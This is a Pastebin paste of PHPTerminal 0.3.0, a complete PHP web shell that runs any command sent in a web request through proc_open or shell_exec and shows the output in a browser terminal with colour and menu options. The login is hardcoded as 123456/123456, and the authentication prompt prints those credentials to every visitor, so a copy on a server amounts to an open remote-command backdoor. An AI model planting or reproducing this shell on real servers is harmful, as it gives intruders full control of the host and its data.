Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- **************************************************************
- * PHPTerminal *
- **************************************************************
- This program is free software; you can redistribute it and/or
- modify it under the terms of the GNU General Public License
- as published by the Free Software Foundation; either version 2
- of the License, or (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You can get a copy of the GNU General Public License from this
- address: http://www.gnu.org/copyleft/gpl.html#SEC1
- You can also write to the Free Software Foundation, Inc., 59 Temple
- Place - Suite 330, Boston, MA 02111-1307, USA.
- This project is inspired and based on PHP Shell 2.0! Please visit:
- http://www.gimpster.com/wiki/PhpShell
- bzrudi
- */
- /* User config options */
- // example (single user)
- // $passwd = array('user' => 'passwd');
- // example (multiple user)
- // $passwd = array('usera' => 'passwd',
- // 'userb' => 'passwd');
- // and so on...
- $passwd = array('123456' => '123456');
- $aliases = array('la' => 'ls -la',
- 'll' => 'ls -lvhF',
- 'dir' => 'ls' );
- /* do NOT change anything below this line */
- error_reporting(E_ALL);
- class phpTerm
- {
- function phpTerm()
- {} // constructor
- function formatPrompt()
- {
- $user=shell_exec("whoami");
- $host=explode(".", shell_exec("uname -n"));
- $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
- }
- function checkPassword($passwd)
- {
- if(!isset($_SERVER['PHP_AUTH_USER'])||
- !isset($_SERVER['PHP_AUTH_PW']) ||
- !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
- $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW'])
- {
- @session_destroy();
- return false;
- }
- else
- {
- @session_start();
- return true;
- }
- }
- function logout($logout)
- {
- if($logout==true){
- header('WWW-Authenticate: Basic realm=":: PHP-Terminal => Please Click Cancel ::"');
- header('HTTP/1.0 401 Unauthorized');
- exit();
- }
- }
- function phpCheckVersion($min_version)
- {
- $is_version=phpversion();
- list($v1,$v2,$v3,$v4) = sscanf($is_version,"%d.%d.%d%s");
- list($m1,$m2,$m3,$m4) = sscanf($min_version,"%d.%d.%d%s");
- if($v1>$m1)
- return(1);
- elseif($v1<$m1)
- return(0);
- if($v2>$m2)
- return(1);
- elseif($v2<$m2)
- return(0);
- if($v3>$m3)
- return(1);
- elseif($v3<$m3)
- return(0);
- if((!$v4)&&(!$m4))
- return(1);
- if(($v4)&&(!$m4))
- {
- $is_version=strpos($v4,"pl");
- if(is_integer($is_version))
- return(1);
- return(0);
- }
- elseif((!$v4)&&($m4))
- {
- $is_version=strpos($m4,"rc");
- if(is_integer($is_version))
- return(1);
- return(0);
- }
- return(0);
- }
- function initVars()
- {
- if (empty($_SESSION['cwd']) || @!empty($_GET['reset']))
- {
- $_SESSION['cwd'] = getcwd();
- $_SESSION['history'] = array();
- $_SESSION['output'] = '';
- $_REQUEST['command'] ='';
- $_SESSION['color'] = 'linux';
- }
- }
- function buildCommandHistory()
- {
- if(!empty($_REQUEST['command']))
- {
- if(get_magic_quotes_gpc())
- {
- $_REQUEST['command'] = stripslashes($_REQUEST['command']);
- }
- // drop old commands from list if exists
- if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
- {
- unset($_SESSION['history'][$i]);
- }
- array_unshift($_SESSION['history'], $_REQUEST['command']);
- // append commmand */
- $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
- }
- }
- function buildJavaHistory()
- {
- // build command history for use in the JavaScript
- if (empty($_SESSION['history']))
- {
- $_SESSION['js_command_hist'] = '""';
- }
- else
- {
- $escaped = array_map('addslashes', $_SESSION['history']);
- $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
- }
- }
- function setTerminalColor($color)
- {
- //$_SESSION['color']="$color";
- // terminal colors
- switch($color)
- {
- case "linux":
- {
- echo "<style>textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;}
- p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;}
- input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>";
- break;
- }
- case "green":
- {
- echo "<style>
- textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #00C000; background-color: #000000;}
- p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #00C000;}
- input.prompt {border: none; font-family: monospace; background-color: #000000; color: #00C000;}</style>";
- break;
- }
- case "black":
- {
- echo "<style>
- textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #000000; background-color: #00C000;}
- p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #00C000; color: #000000;}
- input.prompt {border: none; font-family: monospace; background-color: #00C000; color: #000000;}</style>";
- break;
- }
- case "gray":
- {
- echo "<style>
- textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #0000FF;}
- p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #0000FF; color: #CCCCCC;}
- input.prompt {border: none; font-family: monospace; background-color: #0000FF; color: #CCCCCC;}</style>";
- break;
- }
- default:
- {
- echo "<style>textarea {width: 99.5%; border: none; margin:0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;}
- p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;}
- input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>";
- break;
- }
- }
- }
- function outputHandle($aliases)
- {
- if (ereg('^[[:blank:]]*cd[[:blank:]]*$', @$_REQUEST['command']))
- {
- $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
- }
- elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', @$_REQUEST['command'], $regs))
- {
- // The current command is 'cd', which we have to handle as an internal shell command.
- // absolute/relative path ?"
- ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
- // cosmetics
- while (strpos($new_dir, '/./') !== false)
- $new_dir = str_replace('/./', '/', $new_dir);
- while (strpos($new_dir, '//') !== false)
- $new_dir = str_replace('//', '/', $new_dir);
- while (preg_match('|/\.\.(?!\.)|', $new_dir))
- $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
- if(empty($new_dir)): $new_dir = "/"; endif;
- (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
- }
- else
- {
- /* The command is not a 'cd' command, so we execute it after
- changing the directory and save the output. */
- chdir($_SESSION['cwd']);
- /* Alias expansion. */
- $length = strcspn(@$_REQUEST['command'], " \t");
- $token = substr(@$_REQUEST['command'], 0, $length);
- if (isset($aliases[$token]))
- $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
- if($this->phpCheckVersion("4.3.0"))
- {
- $p = proc_open(@$_REQUEST['command'],
- array(1 => array('pipe', 'w'),
- 2 => array('pipe', 'w')), $io);
- /* Read output sent to stdout. */
- while (!feof($io[1])) {
- $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
- }
- /* Read output sent to stderr. */
- while (!feof($io[2])) {
- $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
- }
- fclose($io[1]);
- fclose($io[2]);
- proc_close($p);
- }
- else
- {
- $stdout=shell_exec($_REQUEST['command']);
- $_SESSION['output'] .= htmlspecialchars($stdout,ENT_COMPAT, 'UTF-8');
- }
- }
- }
- } // end phpTerm
- /*##########################################################
- ## The main thing starts here
- ## All output ist XHTML
- ##########################################################*/
- $terminal = new phpTerm;
- $terminal->logout(@$_GET['logout']);
- if(!$terminal->checkPassword($passwd))
- {
- header('WWW-Authenticate: Basic realm=":: PHP-Terminal => DEFAULT CONFIG => Username : 123456 => Password : 123456 ::"');
- header('HTTP/1.0 401 Unauthorized');
- }
- else
- {
- $terminal->initVars();
- $terminal->buildCommandHistory();
- $terminal->buildJavaHistory();
- if(!isset($_SESSION['prompt'])):$terminal->formatPrompt(); endif;
- $terminal->outputHandle($aliases);
- if(isset($_GET['color'])) : $_SESSION['color']=$_GET['color']; endif;
- /*
- echo '<?xml version="1.0" encoding="UTF-8" ?>' . "\n";
- */
- ?>
- <!--<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">-->
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- <head>
- <title>PHP-Terminal </title>
- <?php $terminal->setTerminalColor(@$_SESSION['color']); ?>
- <!-- Begin CSS -->
- <style type="text/css">
- body {font-family: sans-serif; color: black; background: white;}
- table.main{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
- td.head{background-color: #529ADE; color: #FFFFFF; font-weight:700; border: none;
- text-align: center; font-style: italic; font-size:12pt;}
- td.head_x{background-color: #529ADE; color: #000000; font-weight:700; border: none;
- text-align: left; font-size:16pt;}
- }
- a.href{font-size:70%;}
- .ddm1 {
- font: 11px tahoma;
- }
- .ddm1 .item1,
- .ddm1 .item1:hover,
- .ddm1 .item1-active,
- .ddm1 .item1-active:hover {
- padding: 3px 8px 4px 8px;
- border: 1px #003366;
- border-style: solid none solid none;
- text-decoration: none;
- display: block;
- position: relative;
- }
- .ddm1 .item1 {
- background: #CCCCCC; /*#0EA138;*/
- color: #000000;
- }
- .ddm1 .item1:hover,
- .ddm1 .item1-active,
- .ddm1 .item1-active:hover {
- background: #529ADE;
- color: #ffffff;
- }
- .ddm1 .item2,
- .ddm1 .item2:hover {
- padding: 3px 8px 4px 8px;
- text-decoration: none;
- display: block;
- white-space: nowrap;
- }
- .ddm1 .item2 {
- background: #CCCCCC;
- color: #000000;
- }
- .ddm1 .item2:hover {
- background: #529ADE;
- color: #ffffff;
- }
- .ddm1 .section {
- border: 1px #003366;
- border-style: solid solid solid solid;
- position: absolute;
- visibility: hidden;
- z-index: -1;
- white-space: nowrap;
- }
- .ddm1 .left, .ddm1 .left:hover { border-style: solid none solid solid; }
- .ddm1 .right, .ddm1 .right:hover { border-style: solid solid solid none; }
- * html .ddm1 td { position: relative; } /* ie 5.0 fix */
- </style>
- <!-- End CSS -->
- <script type="text/javascript" language="JavaScript">
- var current_line = 0;
- var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
- var last = 0;
- function key(e) {
- if (!e) var e = window.event;
- if (e.keyCode == 38 && current_line < command_hist.length-1) {
- command_hist[current_line] = document.shell.command.value;
- current_line++;
- document.shell.command.value = command_hist[current_line];
- }
- if (e.keyCode == 40 && current_line > 0) {
- command_hist[current_line] = document.shell.command.value;
- current_line--;
- document.shell.command.value = command_hist[current_line];
- }
- }
- function init() {
- document.shell.setAttribute("autocomplete", "off");
- document.shell.output.scrollTop = document.shell.output.scrollHeight;
- document.shell.command.focus();
- }
- </script>
- <!-- Begin Menu -->
- <script>
- /*
- * DO NOT REMOVE THIS NOTICE
- *
- * PROJECT: mygosuMenu
- * VERSION: 1.0.8
- * COPYRIGHT: (c) 2003,2004 Cezary Tomczak
- * LINK: http://gosu.pl/dhtml/mygosumenu.html
- * LICENSE: BSD (revised)
- */
- function DropDownMenu1(id) {
- /* Type of the menu: "horizontal" or "vertical" */
- this.type = "horizontal";
- /* Delay (in miliseconds >= 0): show-hide menu */
- this.delay = {
- "show": 0,
- "hide": 300
- }
- /* Change the default position of sub-menu by Y pixels from top and X pixels from left
- * Negative values are allowed */
- this.position = {
- "top": 0,
- "left": 0
- }
- /* Z-index property for .section */
- this.zIndex = {
- "visible": 1,
- "hidden": -1
- };
- // Browser detection
- this.browser = {
- "ie": Boolean(document.body.currentStyle),
- "ie5": (navigator.appVersion.indexOf("MSIE 5.5") != -1 || navigator.appVersion.indexOf("MSIE 5.0") != -1)
- };
- if (!this.browser.ie) { this.browser.ie5 = false; }
- /* Initialize the menu */
- this.init = function() {
- if (!document.getElementById(this.id)) { return alert("DropDownMenu1.init() failed. Element '"+ this.id +"' does not exist."); }
- if (this.type != "horizontal" && this.type != "vertical") { return alert("DropDownMenu1.init() failed. Unknown menu type: '"+this.type+"'"); }
- if (this.browser.ie && this.browser.ie5) { fixWrap(); }
- fixSections();
- parse(document.getElementById(this.id).childNodes, this.tree, this.id);
- }
- /* Search for .section elements and set width for them */
- function fixSections() {
- var arr = document.getElementById(self.id).getElementsByTagName("div");
- var sections = new Array();
- var widths = new Array();
- for (var i = 0; i < arr.length; i++) {
- if (arr[i].className == "section") {
- sections.push(arr[i]);
- }
- }
- for (var i = 0; i < sections.length; i++) {
- widths.push(getMaxWidth(sections[i].childNodes));
- }
- for (var i = 0; i < sections.length; i++) {
- sections[i].style.width = (widths[i]) + "px";
- }
- if (self.browser.ie) {
- for (var i = 0; i < sections.length; i++) {
- setMaxWidth(sections[i].childNodes, widths[i]);
- }
- }
- }
- function fixWrap() {
- var elements = document.getElementById(self.id).getElementsByTagName("a");
- for (var i = 0; i < elements.length; i++) {
- if (/item2/.test(elements[i].className)) {
- elements[i].innerHTML = '<div nowrap="nowrap">'+elements[i].innerHTML+'</div>';
- }
- }
- }
- /* Search for an element with highest width among given nodes, return that width */
- function getMaxWidth(nodes) {
- var maxWidth = 0;
- for (var i = 0; i < nodes.length; i++) {
- if (nodes[i].nodeType != 1) { continue; }
- if (nodes[i].offsetWidth > maxWidth) { maxWidth = nodes[i].offsetWidth; }
- }
- return maxWidth;
- }
- /* Set width for item2 elements */
- function setMaxWidth(nodes, maxWidth) {
- for (var i = 0; i < nodes.length; i++) {
- if (nodes[i].nodeType == 1 && /item2/.test(nodes[i].className) && nodes[i].currentStyle) {
- if (self.browser.ie5) {
- nodes[i].style.width = (maxWidth) + "px";
- } else {
- nodes[i].style.width = (maxWidth - parseInt(nodes[i].currentStyle.paddingLeft) - parseInt(nodes[i].currentStyle.paddingRight)) + "px";
- }
- }
- }
- }
- /* Parse nodes, create events, position elements */
- function parse(nodes, tree, id) {
- for (var i = 0; i < nodes.length; i++) {
- if (1 != nodes[i].nodeType) {
- continue;
- }
- switch (true) {
- // .item1
- case /\bitem1\b/.test(nodes[i].className):
- nodes[i].id = id + "-" + tree.length;
- tree.push(new Array());
- nodes[i].onmouseover = item1over;
- nodes[i].onmouseout = item1out;
- break;
- // .item2
- case /\bitem2\b/.test(nodes[i].className):
- nodes[i].id = id + "-" + tree.length;
- tree.push(new Array());
- break;
- // .section
- case /\bsection\b/.test(nodes[i].className):
- // id, events
- nodes[i].id = id + "-" + (tree.length - 1) + "-section";
- nodes[i].onmouseover = sectionOver;
- nodes[i].onmouseout = sectionOut;
- // position
- var box1 = document.getElementById(id + "-" + (tree.length - 1));
- var box2 = document.getElementById(nodes[i].id);
- if ("horizontal" == self.type) {
- box2.style.top = box1.offsetTop + box1.offsetHeight + self.position.top + "px";
- if (self.browser.ie5) {
- box2.style.left = self.position.left + "px";
- } else {
- box2.style.left = box1.offsetLeft + self.position.left + "px";
- }
- } else if ("vertical" == self.type) {
- box2.style.top = box1.offsetTop + self.position.top + "px";
- if (self.browser.ie5) {
- box2.style.left = box1.offsetWidth + self.position.left + "px";
- } else {
- box2.style.left = box1.offsetLeft + box1.offsetWidth + self.position.left + "px";
- }
- }
- // sections, sectionsShowCnt, sectionsHideCnt
- self.sections.push(nodes[i].id);
- self.sectionsShowCnt.push(0);
- self.sectionsHideCnt.push(0);
- break;
- }
- if (nodes[i].childNodes) {
- if (/\bsection\b/.test(nodes[i].className)) {
- parse(nodes[i].childNodes, tree[tree.length - 1], id + "-" + (tree.length - 1));
- } else {
- parse(nodes[i].childNodes, tree, id);
- }
- }
- }
- }
- /* event, item1:onmouseover */
- function item1over() {
- var id_section = this.id + "-section";
- if (self.visible) {
- var el = new Element(self.visible);
- el = document.getElementById(el.getParent().id);
- if (/item1-active/.test(el.className)) {
- el.className = el.className.replace(/item1-active/, "item1");
- }
- }
- if (self.sections.contains(id_section)) {
- self.sectionsHideCnt[self.sections.indexOf(id_section)]++;
- var cnt = self.sectionsShowCnt[self.sections.indexOf(id_section)];
- setTimeout(function(a, b) { return function() { self.showSection(a, b); } } (id_section, cnt), self.delay.show);
- } else {
- if (self.visible) {
- var cnt = self.sectionsHideCnt[self.sections.indexOf(self.visible)];
- setTimeout(function(a, b) { return function() { self.hideSection(a, b); } } (self.visible, cnt), self.delay.show);
- }
- }
- }
- /* event, item1:onmouseout */
- function item1out() {
- var id_section = this.id + "-section";
- if (self.sections.contains(id_section)) {
- self.sectionsShowCnt[self.sections.indexOf(id_section)]++;
- if (id_section == self.visible) {
- var cnt = self.sectionsHideCnt[self.sections.indexOf(id_section)];
- setTimeout(function(a, b) { return function() { self.hideSection(a, b); } }(id_section, cnt), self.delay.hide);
- }
- }
- }
- /* event, section:onmouseover */
- function sectionOver() {
- self.sectionsHideCnt[self.sections.indexOf(this.id)]++;
- var el = new Element(this.id);
- el = document.getElementById(el.getParent().id);
- if (!/item1-active/.test(el.className)) {
- el.className = el.className.replace(/item1/, "item1-active");
- }
- }
- /* event, section:onmouseout */
- function sectionOut() {
- self.sectionsShowCnt[self.sections.indexOf(this.id)]++;
- var cnt = self.sectionsHideCnt[self.sections.indexOf(this.id)];
- setTimeout(function(a, b) { return function() { self.hideSection(a, b); } }(this.id, cnt), self.delay.hide);
- }
- /* Show section (1 argument passed)
- * Try to show section (2 arguments passed) - check cnt with sectionShowCnt */
- this.showSection = function(id, cnt) {
- if (typeof cnt != "undefined") {
- if (cnt != this.sectionsShowCnt[this.sections.indexOf(id)]) { return; }
- }
- this.sectionsShowCnt[this.sections.indexOf(id)]++;
- var el = new Element(id);
- var parent = document.getElementById(el.getParent().id);
- if (!/item1-active/.test(parent.className)) {
- parent.className = parent.className.replace(/item1/, "item1-active");
- }
- if (this.visible) {
- if (id == this.visible) { return; }
- this.hideSection(this.visible);
- }
- //document.getElementById(id).style.display = "block";
- document.getElementById(id).style.visibility = "visible";
- document.getElementById(id).style.zIndex = this.zIndex.visible;
- this.visible = id;
- }
- /* Hide section (1 argument passed)
- * Try to hide section (2 arguments passed) - check cnt with sectionHideCnt */
- this.hideSection = function(id, cnt) {
- if (typeof cnt != "undefined") {
- if (cnt != this.sectionsHideCnt[this.sections.indexOf(id)]) { return; }
- }
- var el = new Element(id);
- var parent = document.getElementById(el.getParent().id);
- parent.className = parent.className.replace(/item1-active/, "item1");
- document.getElementById(id).style.zIndex = this.zIndex.hidden;
- document.getElementById(id).style.visibility = "hidden";
- //document.getElementById(id).style.display = "none";
- if (id == this.visible) { this.visible = ""; }
- else {
- //throw "DropDownMenu1.hideSection('"+id+"', "+cnt+") failed, cannot hide element that is not visible";
- return;
- }
- this.sectionsHideCnt[this.sections.indexOf(id)]++;
- }
- /* Necessary when showing section that doesn't exist - hide currently visible section. See: item1over() */
- this.hideSelf = function(cnt) {
- if (this.visible && cnt == this.sectionsHideCnt[this.sections.indexOf(this.visible)]) {
- this.hideSection(this.visible);
- }
- }
- /* Element (.section, .item2 etc) */
- function Element(id) {
- /* Get parent element */
- this.getParent = function() {
- var s = this.id.substr(this.menu.id.length);
- var a = s.split("-");
- a.pop();
- return new Element(this.menu.id + a.join("-"));
- }
- this.menu = self;
- this.id = id;
- }
- var self = this;
- this.id = id; /* menu id */
- this.tree = []; /* tree structure of menu */
- this.sections = []; /* all sections, required for timeout */
- this.sectionsShowCnt = [];
- this.sectionsHideCnt = [];
- this.visible = ""; /* visible section, ex. menu-0-section */
- }
- /* Finds the index of the first occurence of item in the array, or -1 if not found */
- if (typeof Array.prototype.indexOf == "undefined") {
- Array.prototype.indexOf = function(item) {
- for (var i = 0; i < this.length; i++) {
- if ((typeof this[i] == typeof item) && (this[i] == item)) {
- return i;
- }
- }
- return -1;
- }
- }
- /* Check whether array contains given string */
- if (typeof Array.prototype.contains == "undefined") {
- Array.prototype.contains = function(s) {
- for (var i = 0; i < this.length; i++) {
- if (this[i] === s) {
- return true;
- }
- }
- return false;
- }
- }
- </script>
- <!-- End Menu -->
- </head>
- <body onload="init()">
- <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; ?>
- <table border="0" class="main" cellpadding="0" cellspacing="0">
- <tr>
- <td class="head_x" width="2%"><b> X</b></td>
- <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?> </td>
- </tr>
- <tr><td colspan='2'>
- <table width="100%" cellpadding="0" cellspacing="0" class="ddm1" id="menu1" >
- <tr>
- <td><a class='item1' href='javascript:void(0)'><b>Edit</b></a>
- <div class='section'>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?reset=true"?>'>Reset Console</a>
- </div>
- </td>
- <td><a class='item1' href='javascript:void(0)'><b>Colors</b></a>
- <div class='section'>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=linux"?>'>Linux Default</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=green"?>'>Green on Black</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=gray"?>'>Gray on Blue</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?color=black"?>'>Black on Green</a>
- </div>
- </td>
- <td><a class='item1' href='javascript:void(0)'><b>Size</b></a>
- <div class='section'>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=24"?>'>80x24 (default)</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=30"?>'>80x30</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=35"?>'>80x35</a>
- <a class='item2' href='<?php echo $_SERVER['PHP_SELF']."?rows=40"?>'>80x40</a>
- </div>
- </td>
- <td><a class='item1' href='#'><b>Tools</b></a>
- <div class='section'>
- <a class='item2' href="#">nothing yet</a>
- </div>
- </td>
- <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']?>"><b>Help</b></a>
- <div class='section'>
- <a class='item2' href="#">nothing yet</a>
- </div>
- </td>
- <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']."?logout=true"?>"><b>Logout</b></a>
- </td>
- </tr>
- </table>
- </td></tr>
- <form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
- <tr>
- <td colspan='2' nowrap>
- <textarea name="output" readonly="readonly" rows="<?php echo $_REQUEST['rows']; ?>"><?php
- $lines = substr_count($_SESSION['output'], "\n");
- $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
- echo rtrim($padding . $_SESSION['output']);
- ?>
- </textarea>
- <p><font size="-1">
- <?php echo $_SESSION['prompt']."/".str_replace('/', '', strrchr($_SESSION['cwd'], '/')).">"; ?>
- <input class="prompt" name="command" type="text" size='50' onkeyup="key(event)" tabindex="1">
- </font></p>
- </td>
- </tr></form>
- <tr>
- <td colspan='2' bgcolor='#CCCCCC' height='20px' align="right">PHP Terminal 0.3.0 ready! © bzrudi 2004</td>
- </tr>
- </table>
- <script type="text/javascript">
- var ddm1 = new DropDownMenu1('menu1');
- ddm1.init();
- </script>
- </body>
- </html>
- <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment